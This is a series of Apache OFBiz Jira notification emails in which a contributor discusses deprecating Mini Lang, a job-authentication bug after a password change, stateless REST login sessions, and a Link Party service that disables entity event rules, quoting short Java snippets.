[jira] [Commented] (OFBIZ-9350) Deprecate Mini Lang
[ https://issues.apache.org/jira/browse/OFBIZ-9350?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17687025#comment-17687025 ] Rohit Koushal commented on OFBIZ-9350: -- Of course [~mbrohl] that could happen, To clarify, my original intent was not to consider the proper procedure before pushing changes. The patches we have on hand might become outdated if they are not acted upon, and this may require further attention to ensure they are properly addressed. > Deprecate Mini Lang > --- > > Key: OFBIZ-9350 > URL: https://issues.apache.org/jira/browse/OFBIZ-9350 > Project: OFBiz > Issue Type: Improvement > Components: ALL APPLICATIONS, ALL COMPONENTS, ALL PLUGINS >Affects Versions: Trunk, Upcoming Branch >Reporter: Michael Brohl >Assignee: Nicolas Malin >Priority: Minor > Labels: documentation, refactoring > > According to the proposal thread in [1] we decided to deprecate mini lang. > This issue tracks the next steps proposed in the aformentioned thread, namely: > 1. create a Wiki page for the documentation and description of the migration > process and how mini lang will be replaced. > 2. prominently state in the Wiki that minilang will be deprecated, e.g. in [2] > 3. put deprecation tags in the corresponding code > 4. kindly ask contributors with open patches written in mini lang to replace > them by Groovy code [3] > 5. start an initiative to replace existing mini lang code with Groovy code > where applicable. This needs some more planning and discussion which parts > we'll like to replace with Groovy code and which parts will better be > replaced by some kind of DSL. A good starting point can be [4][5][6]. > [1] > [https://lists.apache.org/thread.html/253b41060a295b8ab68bc78763cc129fc74b712cf776f8716022097f@%3Cdev.ofbiz.apache.org%3E] > [2] > [https://cwiki.apache.org/confluence/display/OFBADMIN/Mini+Language+-+minilang+-+simple-method+-+Reference] > [3] does anyone know a way to batch comment Jira issues like it is possible > in Redmine? > [4] > [https://cwiki.apache.org/confluence/display/OFBIZ/Groovy+DSL+for+OFBiz+business+logic] > [5] > [https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz+Tutorial+-+A+Beginners+Development+Guide] > [6] [https://cwiki.apache.org/confluence/display/OFBIZ/Coding+Conventions] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Comment Edited] (OFBIZ-9350) Deprecate Mini Lang
[ https://issues.apache.org/jira/browse/OFBIZ-9350?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17686892#comment-17686892 ] Rohit Koushal edited comment on OFBIZ-9350 at 2/10/23 6:39 AM: --- Thank you [~jleroux] for taking a look. One potential solution that comes to mind is to examine the history of the minilang file before picking any patch and verifying that there have not been any recent updates. Although this process may be hectic, but it would allow us to flag and request updates to the patch as needed. was (Author: rohit.koushal): Thank you [~jleroux] for taking a look. One potential solution that comes to mind is to examine the history of the minilang file before pushing any changes and verifying that there have not been any recent updates. Although this process may be hectic, but it would allow us to flag and request updates to the patch as needed. > Deprecate Mini Lang > --- > > Key: OFBIZ-9350 > URL: https://issues.apache.org/jira/browse/OFBIZ-9350 > Project: OFBiz > Issue Type: Improvement > Components: ALL APPLICATIONS, ALL COMPONENTS, ALL PLUGINS >Affects Versions: Trunk, Upcoming Branch >Reporter: Michael Brohl >Assignee: Nicolas Malin >Priority: Minor > Labels: documentation, refactoring > > According to the proposal thread in [1] we decided to deprecate mini lang. > This issue tracks the next steps proposed in the aformentioned thread, namely: > 1. create a Wiki page for the documentation and description of the migration > process and how mini lang will be replaced. > 2. prominently state in the Wiki that minilang will be deprecated, e.g. in [2] > 3. put deprecation tags in the corresponding code > 4. kindly ask contributors with open patches written in mini lang to replace > them by Groovy code [3] > 5. start an initiative to replace existing mini lang code with Groovy code > where applicable. This needs some more planning and discussion which parts > we'll like to replace with Groovy code and which parts will better be > replaced by some kind of DSL. A good starting point can be [4][5][6]. > [1] > [https://lists.apache.org/thread.html/253b41060a295b8ab68bc78763cc129fc74b712cf776f8716022097f@%3Cdev.ofbiz.apache.org%3E] > [2] > [https://cwiki.apache.org/confluence/display/OFBADMIN/Mini+Language+-+minilang+-+simple-method+-+Reference] > [3] does anyone know a way to batch comment Jira issues like it is possible > in Redmine? > [4] > [https://cwiki.apache.org/confluence/display/OFBIZ/Groovy+DSL+for+OFBiz+business+logic] > [5] > [https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz+Tutorial+-+A+Beginners+Development+Guide] > [6] [https://cwiki.apache.org/confluence/display/OFBIZ/Coding+Conventions] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (OFBIZ-9350) Deprecate Mini Lang
[ https://issues.apache.org/jira/browse/OFBIZ-9350?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17686892#comment-17686892 ] Rohit Koushal commented on OFBIZ-9350: -- Thank you [~jleroux] for taking a look. One potential solution that comes to mind is to examine the history of the minilang file before pushing any changes and verifying that there have not been any recent updates. Although this process may be hectic, but it would allow us to flag and request updates to the patch as needed. > Deprecate Mini Lang > --- > > Key: OFBIZ-9350 > URL: https://issues.apache.org/jira/browse/OFBIZ-9350 > Project: OFBiz > Issue Type: Improvement > Components: ALL APPLICATIONS, ALL COMPONENTS, ALL PLUGINS >Affects Versions: Trunk, Upcoming Branch >Reporter: Michael Brohl >Assignee: Nicolas Malin >Priority: Minor > Labels: documentation, refactoring > > According to the proposal thread in [1] we decided to deprecate mini lang. > This issue tracks the next steps proposed in the aformentioned thread, namely: > 1. create a Wiki page for the documentation and description of the migration > process and how mini lang will be replaced. > 2. prominently state in the Wiki that minilang will be deprecated, e.g. in [2] > 3. put deprecation tags in the corresponding code > 4. kindly ask contributors with open patches written in mini lang to replace > them by Groovy code [3] > 5. start an initiative to replace existing mini lang code with Groovy code > where applicable. This needs some more planning and discussion which parts > we'll like to replace with Groovy code and which parts will better be > replaced by some kind of DSL. A good starting point can be [4][5][6]. > [1] > [https://lists.apache.org/thread.html/253b41060a295b8ab68bc78763cc129fc74b712cf776f8716022097f@%3Cdev.ofbiz.apache.org%3E] > [2] > [https://cwiki.apache.org/confluence/display/OFBADMIN/Mini+Language+-+minilang+-+simple-method+-+Reference] > [3] does anyone know a way to batch comment Jira issues like it is possible > in Redmine? > [4] > [https://cwiki.apache.org/confluence/display/OFBIZ/Groovy+DSL+for+OFBiz+business+logic] > [5] > [https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz+Tutorial+-+A+Beginners+Development+Guide] > [6] [https://cwiki.apache.org/confluence/display/OFBIZ/Coding+Conventions] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (OFBIZ-9350) Deprecate Mini Lang
[ https://issues.apache.org/jira/browse/OFBIZ-9350?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17686019#comment-17686019 ] Rohit Koushal commented on OFBIZ-9350: -- Is the focus on this area still ongoing? I observe a considerable number of changes(patches, pull requests). I would like to respectfully highlight the possibility that these changes may eventually become outdated if there are any improvements or bug fixes implemented in the minilang. > Deprecate Mini Lang > --- > > Key: OFBIZ-9350 > URL: https://issues.apache.org/jira/browse/OFBIZ-9350 > Project: OFBiz > Issue Type: Improvement > Components: ALL APPLICATIONS, ALL COMPONENTS, ALL PLUGINS >Affects Versions: Trunk, Upcoming Branch >Reporter: Michael Brohl >Assignee: Nicolas Malin >Priority: Minor > Labels: documentation, refactoring > > According to the proposal thread in [1] we decided to deprecate mini lang. > This issue tracks the next steps proposed in the aformentioned thread, namely: > 1. create a Wiki page for the documentation and description of the migration > process and how mini lang will be replaced. > 2. prominently state in the Wiki that minilang will be deprecated, e.g. in [2] > 3. put deprecation tags in the corresponding code > 4. kindly ask contributors with open patches written in mini lang to replace > them by Groovy code [3] > 5. start an initiative to replace existing mini lang code with Groovy code > where applicable. This needs some more planning and discussion which parts > we'll like to replace with Groovy code and which parts will better be > replaced by some kind of DSL. A good starting point can be [4][5][6]. > [1] > [https://lists.apache.org/thread.html/253b41060a295b8ab68bc78763cc129fc74b712cf776f8716022097f@%3Cdev.ofbiz.apache.org%3E] > [2] > [https://cwiki.apache.org/confluence/display/OFBADMIN/Mini+Language+-+minilang+-+simple-method+-+Reference] > [3] does anyone know a way to batch comment Jira issues like it is possible > in Redmine? > [4] > [https://cwiki.apache.org/confluence/display/OFBIZ/Groovy+DSL+for+OFBiz+business+logic] > [5] > [https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz+Tutorial+-+A+Beginners+Development+Guide] > [6] [https://cwiki.apache.org/confluence/display/OFBIZ/Coding+Conventions] -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17685219#comment-17685219 ] Rohit Koushal commented on OFBIZ-10573: --- Hey [~jleroux], yes it is tested. > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > OFBIZ-10573_v3.patch, image-2018-09-19-15-41-13-122.png, > image-2018-09-19-15-43-25-388.png, image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Comment Edited] (OFBIZ-12033) Separate login service for API calls
[
https://issues.apache.org/jira/browse/OFBIZ-12033?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17685195#comment-17685195
]
Rohit Koushal edited comment on OFBIZ-12033 at 2/7/23 10:16 AM:
_Thanks_ [~mbrohl]{_},{_}
{quote}What do you mean by the first solution
{quote}
{_}It is more of the traditional Java way of writing API's in JAX-RS, Once we
add the rest-api plugin, we can write Java API's within the package
*org.apache.ofbiz.ws.rs.resources* inside any component{_}{_}. As an example,
check out the AuthenticationResource.java class, which has a REST endpoint at
/rest/auth/token.{_}
_Note that any component I mean, whether it's part of the application, plugin,
or framework, can contain these API resources, as long as they are part of the
{*}org.apache.ofbiz.ws.rs.resources package{*}._
was (Author: rohit.koushal):
_Thanks_ [~mbrohl]{_},{_}
{quote}What do you mean by the first solution
{quote}
{_}It is more of the traditional Java way of writing API's in JAX-RS, Once we
add the rest-api plugin, we can write Java API's within the package
*org.apache.ofbiz.ws.rs.resources* inside any component{_}{_}. As an example,
check out the AuthenticationResource.java class, which has a REST endpoint at
/rest/auth/token.{_}
_Note that any component, whether it's part of the application, plugin, or
framework, can contain these API resources, as long as they are part of the
{*}org.apache.ofbiz.ws.rs.resources package{*}._
> Separate login service for API calls
>
>
> Key: OFBIZ-12033
> URL: https://issues.apache.org/jira/browse/OFBIZ-12033
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
>Reporter: Girish Vasmatkar
>Assignee: Michael Brohl
>Priority: Minor
> Attachments: OFBIZ-12033.patch
>
>
> We're using {color:#2a00ff}userLogin {color}{color:#00}service to
> authenticate users before generating auth tokens for REST API and GraphQL
> calls. However, we figured that a session is also getting created and
> returned in response which is defeating the purpose of having an API in
> place. Even though that session is not getting used anywhere when subsequent
> calls are made using the token, we still think it is an extra session lying
> around in tomcat's session cache. {color}
> {color:#00} {color}
> {color:#00}Proposal is to implement a new basic userLogin service
> (basicAuthUserLogin) that would just do username/password matching and be
> done with it without ever calling request.getSession(). This will ensure that
> APIs are stateless and no session is generated.{color}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (OFBIZ-12033) Separate login service for API calls
[
https://issues.apache.org/jira/browse/OFBIZ-12033?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17685195#comment-17685195
]
Rohit Koushal commented on OFBIZ-12033:
---
_Thanks_ [~mbrohl]{_},{_}
{quote}What do you mean by the first solution
{quote}
{_}It is more of the traditional Java way of writing API's in JAX-RS, Once we
add the rest-api plugin, we can write Java API's within the package
*org.apache.ofbiz.ws.rs.resources* inside any component{_}{_}. As an example,
check out the AuthenticationResource.java class, which has a REST endpoint at
/rest/auth/token.{_}
_Note that any component, whether it's part of the application, plugin, or
framework, can contain these API resources, as long as they are part of the
{*}org.apache.ofbiz.ws.rs.resources package{*}._
> Separate login service for API calls
>
>
> Key: OFBIZ-12033
> URL: https://issues.apache.org/jira/browse/OFBIZ-12033
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
>Reporter: Girish Vasmatkar
>Assignee: Michael Brohl
>Priority: Minor
> Attachments: OFBIZ-12033.patch
>
>
> We're using {color:#2a00ff}userLogin {color}{color:#00}service to
> authenticate users before generating auth tokens for REST API and GraphQL
> calls. However, we figured that a session is also getting created and
> returned in response which is defeating the purpose of having an API in
> place. Even though that session is not getting used anywhere when subsequent
> calls are made using the token, we still think it is an extra session lying
> around in tomcat's session cache. {color}
> {color:#00} {color}
> {color:#00}Proposal is to implement a new basic userLogin service
> (basicAuthUserLogin) that would just do username/password matching and be
> done with it without ever calling request.getSession(). This will ensure that
> APIs are stateless and no session is generated.{color}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Comment Edited] (OFBIZ-12033) Separate login service for API calls
[
https://issues.apache.org/jira/browse/OFBIZ-12033?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17685079#comment-17685079
]
Rohit Koushal edited comment on OFBIZ-12033 at 2/7/23 7:01 AM:
---
Hey [~mbrohl] and [~gvasmatkar]
In my analysis, I found that the reason for session creation during the
"userLogin" service call is due to the use of UtilHttp.getLocale(httpRequest)
in HttpBasicAuthFilter.java to pass locale information. The implementation can
be seen below.
{code:java}
public static Locale getLocale(HttpServletRequest request) {
if (request == null) {
return Locale.getDefault();
}
return getLocale(request, request.getSession(), null);
} {code}
So the cause of the issue is not the "userLogin" service, but the context
preparation part.
Here is the patch that will fix the session creation problem
[^OFBIZ-12033.patch]
*Asking for information purposes only.*
While reviewing the implementation of the REST component, I discovered that it
primarily focuses on exposing OFBiz services for REST calls. But what if a
service takes a complex object, such as a user-defined class (e.g.
GenericValue)? In that case, it may be necessary to define data mappers or do
we have a better solution?
Additionally, I discovered three methods for creating APIs with the existing
code, but I couldn't find any documentation or examples for two of them. Do we
have documents that I am missing?
The three methods I found are:
* Using a Java Resource
* Using rest.xml
* Exposing a Service as an API (documented in the READMe.doc file)
Thanks!!
was (Author: rohit.koushal):
Hey [~mbrohl] and [~gvasmatkar]
In my analysis, I found that the reason for session creation during the
"userLogin" service call is due to the use of UtilHttp.getLocale(httpRequest)
in HttpBasicAuthFilter.java to pass locale information. The implementation can
be seen below.
{code:java}
public static Locale getLocale(HttpServletRequest request) {
if (request == null) {
return Locale.getDefault();
}
return getLocale(request, request.getSession(), null);
} {code}
So the cause of the issue is not the "userLogin" service, but the context
preparation part.
Here is the patch that will fix the session creation problem
[^OFBIZ-12033.patch]
** Asking for information purposes only.**
While reviewing the implementation of the REST component, I discovered that it
primarily focuses on exposing OFBiz services for REST calls. But what if a
service takes a complex object, such as a user-defined class (e.g.
GenericValue)? In that case, it may be necessary to define data mappers or do
we have a better solution?
Additionally, I discovered three methods for creating APIs with the existing
code, but I couldn't find any documentation or examples for two of them. Do we
have documents that I am missing?
The three methods I found are:
* Using a Java Resource
* Using rest.xml
* Exposing a Service as an API (documented in the READMe.doc file)
Thanks!!
> Separate login service for API calls
>
>
> Key: OFBIZ-12033
> URL: https://issues.apache.org/jira/browse/OFBIZ-12033
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
>Reporter: Girish Vasmatkar
>Assignee: Michael Brohl
>Priority: Minor
> Attachments: OFBIZ-12033.patch
>
>
> We're using {color:#2a00ff}userLogin {color}{color:#00}service to
> authenticate users before generating auth tokens for REST API and GraphQL
> calls. However, we figured that a session is also getting created and
> returned in response which is defeating the purpose of having an API in
> place. Even though that session is not getting used anywhere when subsequent
> calls are made using the token, we still think it is an extra session lying
> around in tomcat's session cache. {color}
> {color:#00} {color}
> {color:#00}Proposal is to implement a new basic userLogin service
> (basicAuthUserLogin) that would just do username/password matching and be
> done with it without ever calling request.getSession(). This will ensure that
> APIs are stateless and no session is generated.{color}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (OFBIZ-12033) Separate login service for API calls
[
https://issues.apache.org/jira/browse/OFBIZ-12033?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17685079#comment-17685079
]
Rohit Koushal commented on OFBIZ-12033:
---
Hey [~mbrohl] and [~gvasmatkar]
In my analysis, I found that the reason for session creation during the
"userLogin" service call is due to the use of UtilHttp.getLocale(httpRequest)
in HttpBasicAuthFilter.java to pass locale information. The implementation can
be seen below.
{code:java}
public static Locale getLocale(HttpServletRequest request) {
if (request == null) {
return Locale.getDefault();
}
return getLocale(request, request.getSession(), null);
} {code}
So the cause of the issue is not the "userLogin" service, but the context
preparation part.
Here is the patch that will fix the session creation problem
[^OFBIZ-12033.patch]
** Asking for information purposes only.**
While reviewing the implementation of the REST component, I discovered that it
primarily focuses on exposing OFBiz services for REST calls. But what if a
service takes a complex object, such as a user-defined class (e.g.
GenericValue)? In that case, it may be necessary to define data mappers or do
we have a better solution?
Additionally, I discovered three methods for creating APIs with the existing
code, but I couldn't find any documentation or examples for two of them. Do we
have documents that I am missing?
The three methods I found are:
* Using a Java Resource
* Using rest.xml
* Exposing a Service as an API (documented in the READMe.doc file)
Thanks!!
> Separate login service for API calls
>
>
> Key: OFBIZ-12033
> URL: https://issues.apache.org/jira/browse/OFBIZ-12033
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
>Reporter: Girish Vasmatkar
>Assignee: Michael Brohl
>Priority: Minor
> Attachments: OFBIZ-12033.patch
>
>
> We're using {color:#2a00ff}userLogin {color}{color:#00}service to
> authenticate users before generating auth tokens for REST API and GraphQL
> calls. However, we figured that a session is also getting created and
> returned in response which is defeating the purpose of having an API in
> place. Even though that session is not getting used anywhere when subsequent
> calls are made using the token, we still think it is an extra session lying
> around in tomcat's session cache. {color}
> {color:#00} {color}
> {color:#00}Proposal is to implement a new basic userLogin service
> (basicAuthUserLogin) that would just do username/password matching and be
> done with it without ever calling request.getSession(). This will ensure that
> APIs are stateless and no session is generated.{color}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (OFBIZ-12033) Separate login service for API calls
[
https://issues.apache.org/jira/browse/OFBIZ-12033?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12033:
--
Attachment: OFBIZ-12033.patch
> Separate login service for API calls
>
>
> Key: OFBIZ-12033
> URL: https://issues.apache.org/jira/browse/OFBIZ-12033
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
>Reporter: Girish Vasmatkar
>Assignee: Michael Brohl
>Priority: Minor
> Attachments: OFBIZ-12033.patch
>
>
> We're using {color:#2a00ff}userLogin {color}{color:#00}service to
> authenticate users before generating auth tokens for REST API and GraphQL
> calls. However, we figured that a session is also getting created and
> returned in response which is defeating the purpose of having an API in
> place. Even though that session is not getting used anywhere when subsequent
> calls are made using the token, we still think it is an extra session lying
> around in tomcat's session cache. {color}
> {color:#00} {color}
> {color:#00}Proposal is to implement a new basic userLogin service
> (basicAuthUserLogin) that would just do username/password matching and be
> done with it without ever calling request.getSession(). This will ensure that
> APIs are stateless and no session is generated.{color}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17684324#comment-17684324
]
Rohit Koushal commented on OFBIZ-12424:
---
Thanks [~jleroux] !!!
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk,
> Upcoming Branch
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Fix For: 22.01.01
>
> Attachments: OFBIZ-12424.patch, OFBIZ-12424_v1.patch,
> image-2021-12-01-17-18-37-279.png, image-2021-12-01-17-20-21-196.png,
> image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17684160#comment-17684160
]
Rohit Koushal commented on OFBIZ-12424:
---
Thank you, [~deepak] & [~jleroux].
Just to reiterate, the purpose of this ticket is to address a technical code
problem that is causing the system EECA to stop functioning when the linkParty
service runs. Delegator is a singleton object and any changes made to its state
could potentially have serious consequences for the system, as was the case in
the linkParty service because of code.
{code:java}
delegator.setEntityEcaHandler(null);
{code}
In accordance with the suggestion, I have successfully removed the code that
deleted the PartyRoles and attaching the revised patch for your review
[^OFBIZ-12424_v1.patch]. Also please discard my pull request and use this patch
as the final changes, I will close that PR soon.
Thanks again!!
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk,
> Upcoming Branch
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, OFBIZ-12424_v1.patch,
> image-2021-12-01-17-18-37-279.png, image-2021-12-01-17-20-21-196.png,
> image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Attachment: OFBIZ-12424_v1.patch
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk,
> Upcoming Branch
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: OFBIZ-12424.patch, OFBIZ-12424_v1.patch,
> image-2021-12-01-17-18-37-279.png, image-2021-12-01-17-20-21-196.png,
> image-2021-12-01-18-18-40-267.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
[jira] [Commented] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17683788#comment-17683788 ] Rohit Koushal commented on OFBIZ-10573: --- Thanks [~deepak] for proposing a solution. Here is the updated patch [^OFBIZ-10573_v3.patch] > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > OFBIZ-10573_v3.patch, image-2018-09-19-15-41-13-122.png, > image-2018-09-19-15-43-25-388.png, image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Updated] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-10573: -- Attachment: OFBIZ-10573_v3.patch > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > OFBIZ-10573_v3.patch, image-2018-09-19-15-41-13-122.png, > image-2018-09-19-15-43-25-388.png, image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Commented] (OFBIZ-10573) can‘t run job when user changed password
[ https://issues.apache.org/jira/browse/OFBIZ-10573?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17683478#comment-17683478 ] Rohit Koushal commented on OFBIZ-10573: --- Thank you [~deepak], for reviewing the solution. It appears that your proposed solution is heading things in the right direction. I will check it tomorrow and make necessary changes based on your recommendation. Thanks again!! > can‘t run job when user changed password > > > Key: OFBIZ-10573 > URL: https://issues.apache.org/jira/browse/OFBIZ-10573 > Project: OFBiz > Issue Type: Bug > Components: framework >Affects Versions: Release Branch 13.07, Release Branch 16.11 >Reporter: zhang.liang >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-10573.patch, OFBIZ-10573_v2.patch, > image-2018-09-19-15-41-13-122.png, image-2018-09-19-15-43-25-388.png, > image.png, issue.png > > > dispatcher.runAsync() create a job. if user changed password befor run job, > throw a exception > !image-2018-09-19-15-41-13-122.png! > ServiceDispatcher.chekAuth(); > !image-2018-09-19-15-43-25-388.png! > if check old password not equals new password auth failed > -- This message was sent by Atlassian Jira (v8.20.10#820010)
[jira] [Comment Edited] (OFBIZ-10573) can‘t run job when user changed password
